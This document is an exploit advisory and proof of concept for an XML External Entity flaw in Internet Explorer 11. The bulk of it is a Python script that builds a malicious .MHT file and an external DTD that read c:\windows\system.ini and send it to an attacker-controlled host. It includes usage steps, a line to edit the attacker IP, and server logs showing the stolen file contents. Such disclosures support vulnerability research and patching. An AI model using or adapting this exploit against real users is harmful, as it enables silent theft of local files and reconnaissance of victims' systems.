Kod:
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Microsoft Internet Explorer v11
(latest version)
Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.
[Vulnerability Type]
XML External Entity Injection
[CVE Reference]
N/A
[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.
This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.
Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability.
However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage.
Importantly, if files are downloaded from the web in a compressed archive and opened using certain archive utilities MOTW may not work as advertised.
Typically, when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will get a security warning bar in IE and be prompted
to activate blocked content. However, when opening a specially crafted .MHT file using malicious <xml> markup tags the user will get no such
active content or security bar warnings.
e.g.
C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -
Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.
[POC/Video URL]
https://vimeo.com/329717404
[Exploit/POC]
POC to exfil Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.
1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.
2) python -m SimpleHTTPServer
3) Place the generated "datatears.xml" in Python server web-root.
4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.
#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx
#ApparitionSec
ATTACKER_IP="localhost"
PORT="8000"
mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'
'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'
'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'
'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)
xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)
def mk_msie_0day_filez(f,p):
f=open(f,"wb")
f.write(p)
f.close()
if __name__ == "__main__":
mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
mk_msie_0day_filez("datatears.xml",xml_file)
print "Microsoft Internet Explorer XML External Entity 0day PoC."
print "Files msie-xxe-0day.mht and datatears.xml Created!."
print "Discovery: Hyp3rlinx / Apparition Security"
# 0day.today [2019-04-14] #